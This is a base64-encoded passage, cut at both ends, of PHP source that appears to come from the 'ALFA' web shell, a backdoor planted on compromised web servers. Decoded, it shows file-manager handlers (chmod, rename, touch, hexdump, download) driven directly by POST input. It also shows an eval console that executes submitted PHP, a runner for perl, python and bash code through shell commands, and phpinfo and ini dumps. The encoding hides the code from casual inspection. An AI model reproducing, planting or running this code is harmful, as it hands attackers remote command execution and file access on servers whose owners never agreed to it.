ZmExJ10sICRwZXJtcykpewppZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsKYWxmYUV4KCJjZCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsiYyJdKS4iJztjaG1vZCAiLmFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMyddKS4iICciLmFkZHNsYXNoZXMoJGFsZmExX2RlY29kZWQpLiInIik7CmVjaG8oJ1N1Y2Nlc3MhJyk7Cn1lbHNlewplY2hvICc8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+PGI+Q2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8L2I+PC9mb250Pjxicj48c2NyaXB0PmRvY3VtZW50Lm1mLmFsZmEzLnZhbHVlPSIiOzwvc2NyaXB0Pic7fQp9ZWxzZXtlY2hvKCdTdWNjZXNzIScpO30KfQpjbGVhcnN0YXRjYWNoZSgpOwpBbGZhTnVtKDgsOSwxMCw3LDYsNSw0LDIsMSk7CmlmKCRjaGRpcl9mYWxzKXsKCSRmaWxlX3Blcm0gPSAkZmlsZV9pbmZvWzVdOwp9ZWxzZXsKCSRmaWxlX3Blcm0gPSBzdWJzdHIoc3ByaW50ZignJW8nLCBAZmlsZXBlcm1zKCRfUE9TVFsnYWxmYTEnXSkpLC00KTsKfQplY2hvICc8c2NyaXB0PmFsZmEzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZWRpdG9yKFwnJy5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTEnXSkuJ1wnLFwnJy4kX1BPU1RbJ2FsZmEyJ10uJ1wnLHRoaXMuY2htb2QudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNobW9kIiB2YWx1ZT0iJy4kZmlsZV9wZXJtLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICI+PC9mb3JtPic7CmJyZWFrOwpjYXNlICdoZXhkdW1wJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKJGMgPSBfX3JlYWRfZmlsZSgkX1BPU1RbJ2FsZmExJ10pOwokbiA9IDA7CiRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOwokbGVuID0gc3RybGVuKCRjKTsKZm9yICgkaT0wOyAkaTwkbGVuOyArKyRpKSB7CiRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7CnN3aXRjaCAoIG9yZCgkY1skaV0pICkgewpjYXNlIDA6ICRoWzJdIC49ICcgJzsgYnJlYWs7CmNhc2UgOTogJGhbMl0gLj0gJyAnOyBicmVhazsKY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsKY2FzZSAxMzogJGhbMl0gLj0gJyAnOyBicmVhazsKZGVmYXVsdDogJGhbMl0gLj0gJGNbJGldOyBicmVhazsKfQokbisrOwppZiAoJG4gPT0gMzIpIHsKJG4gPSAwOwppZiAoJGkrMSA8ICRsZW4pIHskaFswXSAuPSBzcHJpbnRmKCclMDhYJywkaSsxKS4nPGJyPic7fQokaFsxXSAuPSAnPGJyPic7CiRoWzJdIC49ICJcbiI7Cn0KfQplY2hvICc8ZGl2IGNsYXNzPSJlZGl0b3ItdmlldyI+PGRpdiBjbGFzcz0idmlldy1jb250ZW50Ij48dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9YmxhY2s+PHRyPjx0ZCBiZ2NvbG9yPWdyYXk+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPicuJGhbMF0uJzwvcHJlPjwvc3Bhbj48L3RkPjx0ZCBiZ2NvbG9yPSMyODI4Mjg+PHByZT4nLiRoWzFdLic8L3ByZT48L3RkPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJGhbMl0pLic8L3ByZT48L3RkPjwvdHI+PC90YWJsZT48L2Rpdj48L2Rpdj4nOwpicmVhazsKY2FzZSAncmVuYW1lJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKJGFsZmExX2VzY2FwZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJhbGZhMSJdKTsKJGFsZmEzX2VzY2FwZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJhbGZhMyJdKTsKaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSkpewokY21kX3JlbmFtZSA9IGZhbHNlOwppZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsKaWYoX2FsZmFfaXNfd3JpdGFibGUoJF9QT1NUWydhbGZhMSddKSl7CiRhbGZhMV9lc2NhcGUgPSBhZGRzbGFzaGVzKCRhbGZhMV9kZWNvZGVkKTsKYWxmYUV4KCJjZCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYyddKS4iJzttdiAnIi4kYWxmYTFfZXNjYXBlLiInICciLmFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMyddKS4iJyIpOwp9ZWxzZXsKJGNtZF9yZW5hbWUgPSB0cnVlOwp9Cn1lbHNlewokYWxmYTFfZXNjYXBlID0gYWRkc2xhc2hlcygkX1BPU1RbImFsZmExIl0pOwp9CmlmKCFAcmVuYW1lKCRfUE9TVFsnYWxmYTEnXSwgJF9QT1NUWydhbGZhMyddKSYmJGNtZF9yZW5hbWUpewplY2hvICdDYW5cJ3QgcmVuYW1lITxicj4nO31lbHNle2VjaG8oJ1JlbmFtZWQhPHNjcmlwdD50cnl7JCgiJy4kX1BPU1RbJ2FsZmE0J10uJyIpLmlubmVySFRNTCA9ICI8ZGl2IGNsYXNzPVwnZWRpdG9yLWljb25cJz4iK2xvYWRUeXBlKFwnJy4kYWxmYTNfZXNjYXBlLidcJyxcJycuJGZ0eXBlLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJykrIjwvZGl2PjxkaXYgY2xhc3M9XCdlZGl0b3ItZmlsZS1uYW1lXCc+Jy4kYWxmYTNfZXNjYXBlLic8L2Rpdj4iO2VkaXRvcl9maWxlc1siJy4kX1BPU1RbJ2FsZmE0J10uJyJdLmZpbGUgPSAiJy4kYWxmYTNfZXNjYXBlLiciO3VwZGF0ZUZpbGVFZGl0b3IoIicuJGFsZmExX2VzY2FwZS4nIiwgIicuJGFsZmEzX2VzY2FwZS4nIik7Jy4oJGZ0eXBlID09ICJkaXIiPyJ1cGRhdGVEaXJzRWRpdG9yKCciLiRfUE9TVFsnYWxmYTQnXS4iJywnIi4kYWxmYTFfZXNjYXBlLiInKTsiOiIiKS4nfWNhdGNoKGUpe2NvbnNvbGUubG9nKGUpfTwvc2NyaXB0PicpOyRhbGZhMV9lc2NhcGUgPSAkYWxmYTNfZXNjYXBlO30KfQplY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZWRpdG9yKFwnJy4kYWxmYTFfZXNjYXBlLidcJyxcJycuJF9QT1NUWydhbGZhMiddLidcJyx0aGlzLm5hbWUudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5hbWUiIHZhbHVlPSInLmFkZHNsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhpc3NldCgkX1BPU1RbJ2FsZmEzJ10pJiYkX1BPU1RbJ2FsZmEzJ10hPScnPyRfUE9TVFsnYWxmYTMnXTokYWxmYTFfZGVjb2RlZCkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICI+PC9mb3JtPic7CmJyZWFrOwpjYXNlICd0b3VjaCc6CkBjaGRpcigkX1BPU1RbJ2MnXSk7CmlmKCAhZW1wdHkoJF9QT1NUWydhbGZhMyddKSApIHsKJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydhbGZhMyddKTsKaWYoJHRpbWUpewokdG91Y2hlZCA9IGZhbHNlOwppZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsKCWFsZmFFeCgiY2QgJyIuYWRkc2xhc2hlcygkX1BPU1RbImMiXSkuIic7dG91Y2ggLWQgJyIuaHRtbHNwZWNpYWxjaGFycyhhZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTMnXSkpLiInICciLmFkZHNsYXNoZXMoJGFsZmExX2RlY29kZWQpLiInIik7CgkkdG91Y2hlZCA9IHRydWU7Cn0KaWYoIUB0b3VjaCgkX1BPU1RbJ2FsZmExJ10sJHRpbWUsJHRpbWUpJiYhJHRvdWNoZWQpCmVjaG8gJ0ZhaWwhJzsKZWxzZQplY2hvICdUb3VjaGVkISc7Cn0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhJzsKfQpjbGVhcnN0YXRjYWNoZSgpOwplY2hvICc8c2NyaXB0PmFsZmEzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZWRpdG9yKFwnJy5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTEnXSkuJ1wnLFwnJy4kX1BPU1RbJ2FsZmEyJ10uJ1wnLHRoaXMudG91Y2gudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgKCRjaGRpcl9mYWxzPyRmaWxlX2luZm9bNF06QGZpbGVtdGltZSgkX1BPU1RbJ2FsZmExJ10pKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSIgIj48L2Zvcm0+JzsKYnJlYWs7CmNhc2UgJ2ltYWdlJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKZWNobygnPGhyPicpOwokZmlsZSA9ICRfUE9TVFsnYWxmYTEnXTsKJGltYWdlX2luZm8gPSBAZ2V0aW1hZ2VzaXplKCRmaWxlKTsKaWYoaXNfYXJyYXkoJGltYWdlX2luZm8pfHwkY2hkaXJfZmFscyl7CiR3aWR0aCA9IChpbnQpJGltYWdlX2luZm9bMF07CiRoZWlnaHQgPSAoaW50KSRpbWFnZV9pbmZvWzFdOwppZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsKCSRzb3VyY2UgPSBhbGZhRXgoImNhdCAnIi5hZGRzbGFzaGVzKCRmaWxlKS4iJyB8IGJhc2U2NCIpOwoJbGlzdCgkd2lkdGgsICRoZWlnaHQpID0gZXhwbG9kZSgiOiIsIGFsZmFFeCgiaWRlbnRpZnkgLWZvcm1hdCAnJXc6JWgnICciLmFkZHNsYXNoZXMoJGZpbGUpLiInIikpOwoJJG1pbWUgPSBleHBsb2RlKCI6IiwgYWxmYUV4KCJmaWxlIC0tbWltZS10eXBlICciLmFkZHNsYXNoZXMoJGZpbGUpLiInIikpOwoJJGltYWdlX2luZm9bJ21pbWUnXSA9ICRtaW1lWzFdOwp9ZWxzZXsKCSRzb3VyY2UgPSBfX1pXNWpiMlJsY2coX19yZWFkX2ZpbGUoJGZpbGUsIGZhbHNlKSk7Cn0KJGltYWdlX2luZm9faCA9ICJJbWFnZSB0eXBlID0gPHNwYW4+Wzwvc3Bhbj4gIi4kaW1hZ2VfaW5mb1snbWltZSddLiIgPHNwYW4+XTwvc3Bhbj48YnI+SW1hZ2UgU2l6ZSA9IDxzcGFuPlsgPC9zcGFuPiIuJHdpZHRoLiIgeCAiLiRoZWlnaHQuIjxzcGFuPiBdPC9zcGFuPjxicj4iOwppZigkd2lkdGggPiA4MDApeyR3aWR0aCA9IDgwMDt9CmVjaG8gJGNvbnRlbnQgPSAiPGRpdiBjbGFzcz0nZWRpdG9yLXZpZXcnPjxkaXYgY2xhc3M9J3ZpZXctY29udGVudCc+PGNlbnRlcj4iLiRpbWFnZV9pbmZvX2guIjxicj48aW1nIGlkPSd2aWV3SW1hZ2UnIHN0eWxlPSdtYXgtd2lkdGg6MTAwJTtib3JkZXI6MXB4IHNvbGlkIGdyZWVuOycgc3JjPSdkYXRhOiIuJGltYWdlX2luZm9bJ21pbWUnXS4iO2Jhc2U2NCwiLiRzb3VyY2UuIicgYWx0PSciLiRmaWxlLiInPjwvY2VudGVyPjwvZGl2PjwvZGl2Pjxicj4iOwp9CmJyZWFrOwp9CmVjaG8gJzwvZGl2Pic7CmFsZmFGb290ZXIoKTsKfQpmdW5jdGlvbiBmaW5kaWNvbigkZmlsZSwkdHlwZSl7CiRzID0gJ2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvJzsKJHR5cGVzID0gYXJyYXkoJ2pzb24nLCdwcHQnLCdwcHR4JywneGxzJywneGxzeCcsJ21zaScsJ2NvbmZpZycsJ2NnaScsJ3BtJywnYycsJ2NwcCcsJ2NzJywnamF2YScsJ2FzcHgnLCdhc3AnLCdkYicsJ3R0ZicsJ2VvdCcsJ3dvZmYnLCd3b2ZmMicsJ3dvZmYnLCdjb25mJywnbG9nJywnYXBrJywnY2FiJywnYnoyJywndGd6JywnZG1nJywnaXpvJywnamFyJywnN3onLCdpc28nLCdyYXInLCdiYXQnLCdzaCcsJ2FsZmEnLCdneicsJ3RhcicsJ3BocCcsJ3BocDQnLCdwaHA1JywncGh0bWwnLCdodG1sJywneGh0bWwnLCdzaHRtbCcsJ2h0bScsJ3ppcCcsJ3BuZycsJ2pwZycsJ2pwZWcnLCdnaWYnLCdibXAnLCdpY28nLCd0eHQnLCdqcycsJ3JiJywncHknLCd4bWwnLCdjc3MnLCdzcWwnLCdodGFjY2VzcycsJ3BsJywnaW5pJywnZGxsJywnZXhlJywnbXAzJywnbXA0JywnbTRhJywnbW92JywnZmx2Jywnc3dmJywnbWt2JywnYXZpJywnd212JywnbXBnJywnbXBlZycsJ2RhdCcsJ3BkZicsJzNncCcsJ2RvYycsJ2RvY3gnLCdkb2NtJyk7CmlmKCR0eXBlIT0nZmlsZScpewpyZXR1cm4gKCRmaWxlPT0nLi4nPyRzLidiYWNrLnBuZyc6JHMuJ2ZvbGRlci5wbmcnKTsKfWVsc2V7CiRleHQgPSBleHBsb2RlKCcuJywkZmlsZSk7CiRleHQgPSBlbmQoJGV4dCk7CiRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOwpyZXR1cm4gKGluX2FycmF5KCRleHQsJHR5cGVzKT8kcy4kZXh0LicucG5nJzokcy4nbm90Zm91bmQucG5nJyk7Cn0KfQpmdW5jdGlvbiBhbGZhZGxmaWxlKCl7CmlmKGlzc2V0KCRfUE9TVFsnYyddLCRfUE9TVFsnZmlsZSddKSl7CiRiYXNlbmFtZSA9IHJhd3VybGRlY29kZShiYXNlbmFtZSgkX1BPU1RbJ2ZpbGUnXSkpOwokX1BPU1RbJ2ZpbGUnXSA9IHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJF9QT1NUWydjJ10uJy8nLiRiYXNlbmFtZSk7CiRhbGZhX2NhbnJ1bmNtZCA9IF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSk7CmlmKEBpc19maWxlKCRfUE9TVFsnZmlsZSddKSAmJiBAaXNfcmVhZGFibGUoJF9QT1NUWydmaWxlJ10pIHx8ICRhbGZhX2NhbnJ1bmNtZCl7Cm9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYWRkc2xhc2hlcygkYmFzZW5hbWUpLiJcIiIpOwpoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CmlmKCRHTE9CQUxTWyJnbG9iX2NoZGlyX2ZhbHNlIl0pewoJJHJhbmRuYW1lID0gJGJhc2VuYW1lLnJhbmQoMTExLDk5OTkpOwoJJHNjcmlwdHBhdGggPSBkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CgkkZmlsZXBhdGggPSAkc2NyaXB0cGF0aC4iLyIuJHJhbmRuYW1lOwoJaWYoX2FsZmFfaXNfd3JpdGFibGUoJHNjcmlwdHBhdGgpKXsKCQlhbGZhRXgoImNwICciLmFkZHNsYXNoZXMoJF9QT1NUWyJmaWxlIl0pLiInICciLmFkZHNsYXNoZXMoJGZpbGVwYXRoKS4iJyIpOwoJCXJlYWRmaWxlKCRmaWxlcGF0aCk7CgkJQHVubGluaygkZmlsZXBhdGgpOwoJfWVsc2V7CgkJYWxmYUV4KCJjYXQgJyIuYWRkc2xhc2hlcygkX1BPU1RbImZpbGUiXSkuIiciKTsKCX0KfWVsc2V7CglyZWFkZmlsZSgkX1BPU1RbJ2ZpbGUnXSk7Cn0KfWVsc2UgZWNobygnRXJyb3IuLi4hJyk7fX0KZnVuY3Rpb24gX19hbGZhX3NldF9jb29raWUoJGtleSwgJHZhbHVlKXsKCSRfQ09PS0lFWyRrZXldID0gJHZhbHVlOwoJQHNldGNvb2tpZSgka2V5LCAkdmFsdWUsIHRpbWUoKSsoODY0MDAgKiA3KSwgJy8nKTsKfQpmdW5jdGlvbiBhbGZhcGhwZXZhbCgpewppZihpc3NldCgkX0NPT0tJRVsiZXZhbF90bXBkaXIiXSkmJkBpc19kaXIoJF9DT09LSUVbImV2YWxfdG1wZGlyIl0pKXsKCSR0ZW1wZGlyID0gX19aR1ZqYjJSbGNnKCRfQ09PS0lFWyJldmFsX3RtcGRpciJdKTsKfWVsc2V7CgkkdGVtcGRpciA9IGRpcm5hbWUoYWxmYUV4KCJta3RlbXAiKSk7CglfX2FsZmFfc2V0X2Nvb2tpZSgiZXZhbF90bXBkaXIiLCBfX1pXNWpiMlJsY2coJHRlbXBkaXIpKTsKfQphbGZhaGVhZCgpOwppZihpc3NldCgkX1BPU1RbJ2FsZmEyJ10pICYmICgkX1BPU1RbJ2FsZmEyJ10gPT0gJ2luaScpKXsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKb2Jfc3RhcnQoKTsKJElOST1pbmlfZ2V0X2FsbCgpOwpwcmludCAnPHRhYmxlIGJvcmRlcj0wPjx0cj4nCi4nPHRkIGNsYXNzPSJsaXN0aW5nIj48Zm9udCBjbGFzcz0iaGlnaGxpZ2h0X3R4dCI+UGFyYW08L3RkPicKLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5HbG9iYWwgdmFsdWU8L3RkPicKLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5Mb2NhbCBWYWx1ZTwvdGQ+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+PGZvbnQgY2xhc3M9ImhpZ2hsaWdodF90eHQiPkFjY2VzczwvdGQ+PC90cj4nOwpmb3JlYWNoICgkSU5JIGFzICRwYXJhbSA9PiAkdmFsdWVzKQpwcmludCAiXG4iLic8dHI+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+PGI+Jy4kcGFyYW0uJzwvdGQ+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydnbG9iYWxfdmFsdWUnXS4nIDwvdGQ+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydsb2NhbF92YWx1ZSddLicgPC90ZD4nCi4nPHRkIGNsYXNzPSJsaXN0aW5nIj4nLiR2YWx1ZXNbJ2FjY2VzcyddLicgPC90ZD48L3RyPic7CiR0bXAgPSBvYl9nZXRfY2xlYW4oKTsKJHRtcCA9IHByZWdfcmVwbGFjZSgnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLCcnLCR0bXApOwokdG1wID0gcHJlZ19yZXBsYWNlKCchdGQsIHRoIHsoLiopfSFtc2lVJywnLmUsIC52LCAuaCwgLmggdGggeyQxfScsJHRtcCk7CmVjaG8gc3RyX3JlcGxhY2UoJzxoMScsJzxoMicsICR0bXApIC4nPC9kaXY+PGJyPic7Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMiddKSAmJiAoJF9QT1NUWydhbGZhMiddID09ICdpbmZvJykpIHsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PHN0eWxlPi5wIHtjb2xvcjojMDAwO308L3N0eWxlPic7Cm9iX3N0YXJ0KCk7CnBocGluZm8oKTsKJHRtcCA9IG9iX2dldF9jbGVhbigpOwokdG1wID0gcHJlZ19yZXBsYWNlKCchKGJvZHl8YTpcdyt8Ym9keSwgdGQsIHRoLCBoMSwgaDIpIHsuKn0hbXNpVScsJycsJHRtcCk7CiR0bXAgPSBwcmVnX3JlcGxhY2UoJyF0ZCwgdGggeyguKil9IW1zaVUnLCcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywkdG1wKTsKZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48YnI+JzsKfQppZihpc3NldCgkX1BPU1RbJ2FsZmEyJ10pICYmICgkX1BPU1RbJ2FsZmEyJ10gPT0gJ2V4dGVuJykpIHsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKb2Jfc3RhcnQoKTsKJEVYVD1nZXRfbG9hZGVkX2V4dGVuc2lvbnMoKTsKZWNobyAnPHRhYmxlIGJvcmRlcj0wPjx0cj48dGQgY2xhc3M9Imxpc3RpbmciPicuaW1wbG9kZSgnPC90ZD48L3RyPicuIlxuIi4nPHRyPjx0ZCBjbGFzcz0ibGlzdGluZyI+JywgJEVYVCkuJzwvdGQ+PC90cj48L3RhYmxlPicuY291bnQoJEVYVCkuJyBleHRlbnNpb25zIGxvYWRlZCc7CmVjaG8gJzwvZGl2Pjxicj4nOwp9CiRsYW5nX2h0bWwgPSAiIjsKZm9yZWFjaChhcnJheSgicGhwIj0+InBocCB+PiBbIFdpbmRvd3MgLyBMaW51eCBdIiwicGVybCI9PiJwZXJsIH4+IFsgTGludXggXSIsInB5dGhvbiI9PiJweXRob24gfj4gWyBMaW51eCBdIiwiYmFzaCI9PiJiYXNoIH4+IFsgTGludXggXSIpIGFzICRrZXk9PiR2YWwpeyRsYW5nX2h0bWwgLj0gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIiAnLigkX1BPU1RbImFsZmEzIl09PSRrZXk/InNlbGVjdGVkIjoiIikuJz4nLiR2YWwuJzwvb3B0aW9uPic7fQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Q2VudGVyPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnaW5pXCcpIj58IElOSV9JTkZPIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnaW5mb1wnKSI+IHwgcGhwaW5mbyB8PC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnZXh0ZW5cJykiPiB8IGV4dGVuc2lvbnMgfDwvYT48L2NlbnRlcj48YnI+PGZvcm0gY2xhc3M9InBocC1ldmFscyIgbmFtZT0icGYiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9InZhciBhY2VfdmFsdWU9Z2VFdmFsQWNlVmFsdWUodGhpcyk7ZyhcJ3BocGV2YWxcJyxudWxsLGFjZV92YWx1ZSxudWxsLHRoaXMubGFuZ3VhZ2UudmFsdWUpOyByZXR1cm4gZmFsc2U7Ij48ZGl2IGNsYXNzPSJ0eHRmb250Ij5TZWxlY3QgTGFuZ3VhZ2U6IDwvZGl2PiA8c2VsZWN0IG5hbWU9Imxhbmd1YWdlIiBzdHlsZT0id2lkdGg6MzAwcHg7Ij4nLiRsYW5nX2h0bWwuJzwvc2VsZWN0PicuX2FsZmFfbG9hZF9hY2Vfb3B0aW9ucygiZXZhbCIpLic8YnI+PGJyPjxkaXYgY2xhc3M9ImJpZ2FyZWEiIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiPjxkaXYgY2xhc3M9InBocC1ldmFscy1hY2UiPicuKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhbGZhMSddKToiJmx0Oz9waHBcblxuXHRlY2hvKCdoZWxsbyBhbGZhICEnKTtcblxuPz4iKS4nPC9kaXY+PC9kaXY+PGNlbnRlcj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iIiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiPjwvY2VudGVyPic7CmVjaG8gJzwvZm9ybT48cHJlIGlkPSJQaHBPdXRwdXQiIHN0eWxlPSInLihlbXB0eSgkX1BPU1RbJ2FsZmExJ10pPydkaXNwbGF5Om5vbmU7JzonJykuJ21hcmdpbi10b3A6NXB4OyIgY2xhc3M9Im1sMSI+JzsKaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpewppZigkX1BPU1RbJ2FsZmEzJ109PSJwaHAiKXsKb2Jfc3RhcnQoKTsKZXZhbCgnPz4nLiRfUE9TVFsnYWxmYTEnXSk7CiRyZXN1bHQgPSBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsKfWVsc2VpZihfYWxmYV9jYW5fcnVuQ29tbWFuZCgpJiYkR0xPQkFMU1sic3lzIl09PSJ1bml4Iil7CgkkbGFuZyA9ICRfUE9TVFsnYWxmYTMnXTsKCSRmaWxlbmFtZSA9ICJ0ZW1wIi5yYW5kKDExMTExLDk5OTk5KTsKCSR0ZW1wID0gJHRlbXBkaXIuIi8iLiRmaWxlbmFtZSA7CglfX3dyaXRlX2ZpbGUoJGZpbGVuYW1lLCAkX1BPU1RbJ2FsZmExJ10pOwoJJHJlc3VsdCA9IGFsZmFFeCgibXYgeyRmaWxlbmFtZX0geyR0ZW1wfTt7JGxhbmd9IHskdGVtcH07cm0gLWYgeyR0ZW1wfSIpOwoJQHVubGluaygkZmlsZW5hbWUpOwoJQHVubGluaygkdGVtcCk7Cn0KZWNobyAnPHRleHRhcmVhIGNsYXNzPSJiaWdhcmVhIj4nLiRyZXN1bHQuJzwvdGV4dGFyZWE+JzsKfQplY2hvICc8L3ByZT48L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYWhhc2goKXsKaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmJpbicpKSB7ZnVuY3Rpb24gaGV4MmJpbigkcCkge3JldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7fX0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnZnVsbF91cmxlbmNvZGUnKSkge2Z1bmN0aW9uIGZ1bGxfdXJsZW5jb2RlKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSAnJScuZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0KJHN0cmluZ1Rvb2xzID0gYXJyYXkoCidCYXNlNjRfZW5jb2RlICggJHN0cmluZyApJyA9PiAnX19aVzVqYjJSbGNnKCRzKScsCidCYXNlNjRfZGVjb2RlICggJHN0cmluZyApJyA9PiAnX19aR1ZqYjJSbGNnKCRzKScsCidzdHJyZXYgKCAkc3RyaW5nICknID0+ICdzdHJyZXYoJHMpJywKJ2JpbjJoZXggKCAkc3RyaW5nICknID0+ICdiaW4yaGV4KCRzKScsCidoZXgyYmluICggJHN0cmluZyApJyA9PiAnaGV4MmJpbigkcyknLAonbWQ1ICggJHN0cmluZyApJyA9PiAnbWQ1KCRzKScsCidzaGExICggJHN0cmluZyApJyA9PiAnc2hhMSgkcyknLAonaGFzaCAoICJzaGEyNTEiLCAkc3RyaW5nICkgLS0+IHNoYTI1MScgPT4gJ2hhc2goInNoYTI1NiIsJHMpJywKJ2hhc2ggKCAic2hhMzg0IiwgJHN0cmluZyApIC0tPiBzaGEzODQnID0+ICdoYXNoKCJzaGEzODQiLCRzKScsCidoYXNoICggInNoYTUxMiIsICRzdHJpbmcgKSAtLT4gc2hhNTEyJyA9PiAnaGFzaCgic2hhNTEyIiwkcyknLAonY3J5cHQgKCAkc3RyaW5nICknID0+ICdjcnlwdCgkcyknLAonY3JjMzIgKCAkc3RyaW5nICknID0+ICdjcmMzMigkcyknLAonc3RyX3JvdDEzICggJHN0cmluZyApJyA9PiAnc3RyX3JvdDEzKCRzKScsCid1cmxlbmNvZGUgKCAkc3RyaW5nICknID0+ICd1cmxlbmNvZGUoJHMpJywKJ3VybGRlY29kZSAgKCAkc3RyaW5nICknID0+ICd1cmxkZWNvZGUoJHMpJywKJ2Z1bGxfdXJsZW5jb2RlICAoICRzdHJpbmcgKScgPT4gJ2Z1bGxfdXJsZW5jb2RlKCRzKScsCidodG1sc3BlY2lhbGNoYXJzICAoICRzdHJpbmcgKScgPT4gJ2h0bWxzcGVjaWFsY2hhcnMoJHMpJywKJ2Jhc2U2NF9lbmNvZGUgKGd6ZGVmbGF0ZSggJHN0cmluZyAsIDkpKSAtLT4gRW5jb2RlJyA9PiAnX19aVzVqYjJSbGNnKGd6ZGVmbGF0ZSgkcywgOSkpJywKJ2d6aW5mbGF